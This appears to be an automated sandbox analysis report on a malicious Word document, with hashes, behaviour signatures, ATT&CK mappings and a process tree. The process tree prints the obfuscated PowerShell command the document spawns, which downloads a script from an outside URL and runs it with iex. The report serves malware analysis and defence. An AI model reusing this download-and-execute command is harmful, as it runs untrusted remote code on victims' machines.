fe6ae5bdfeb854bf903ab68598dc1a1cee90f92c3abe787380ac25d377444988

General

Target

0EED61E7F62BD394DBE639CE16A07171.doc
Size

42KB
MD5

0eed61e7f62bd394dbe639ce16a07171
SHA1

fe8fa37609361b07243c286d623620d3c2d1058d
SHA256

fe6ae5bdfeb854bf903ab68598dc1a1cee90f92c3abe787380ac25d377444988
SHA512

95f2d1bca9a936d6538e52cf3c6dcfbce59fad9de529f2102e83ff7c7b19f8d3d01cec68cb1f56126a5e1dc52ac5696f4ba86435ad1ad0aadd2bbbc13d2dcff6
SSDEEP

768:uRsFrB7Fj0Tvp1tn0wdtgWE6ybArM7oEpK2m2eM5LsJ:uRG5mhdCWF3CoEX1bO

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4724	1916	powershell.exe	67

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1916	WINWORD.EXE
1916	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4724	powershell.exe
4724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4724	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE
1916	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1916 wrote to memory of 4724	1916	WINWORD.EXE	95
PID 1916 wrote to memory of 4724	1916	WINWORD.EXE	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0EED61E7F62BD394DBE639CE16A07171.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [string]$f={(Nwraew-Objwraect Newrat.WebwraCliwraewrant).Doweilsdjfeng('http://difbl.realma.r-e.kr/wh/an.txt')};$j=$f.Replace('wra','');$u=$j.Replace('eilsdjfe','nloadstri');$x=iex $u;iex $x
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ljs3f2jy.otw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/1916-139-0x00007FF906C60000-0x00007FF906C70000-memory.dmp

Filesize
64KB

Download
memory/1916-136-0x00007FF908D70000-0x00007FF908D80000-memory.dmp

Filesize
64KB

Download
memory/1916-137-0x00007FF908D70000-0x00007FF908D80000-memory.dmp

Filesize
64KB

Download
memory/1916-138-0x00007FF906C60000-0x00007FF906C70000-memory.dmp

Filesize
64KB

Download
memory/1916-133-0x00007FF908D70000-0x00007FF908D80000-memory.dmp

Filesize
64KB

Download
memory/1916-135-0x00007FF908D70000-0x00007FF908D80000-memory.dmp

Filesize
64KB

Download
memory/1916-134-0x00007FF908D70000-0x00007FF908D80000-memory.dmp

Filesize
64KB

Download
memory/4724-165-0x0000026AEB750000-0x0000026AEB772000-memory.dmp

Filesize
136KB

Download
memory/4724-167-0x0000026AEB5D0000-0x0000026AEB5E0000-memory.dmp

Filesize
64KB

Download
memory/4724-166-0x0000026AEB5D0000-0x0000026AEB5E0000-memory.dmp

Filesize
64KB

Download
memory/4724-168-0x0000026AEB5D0000-0x0000026AEB5E0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads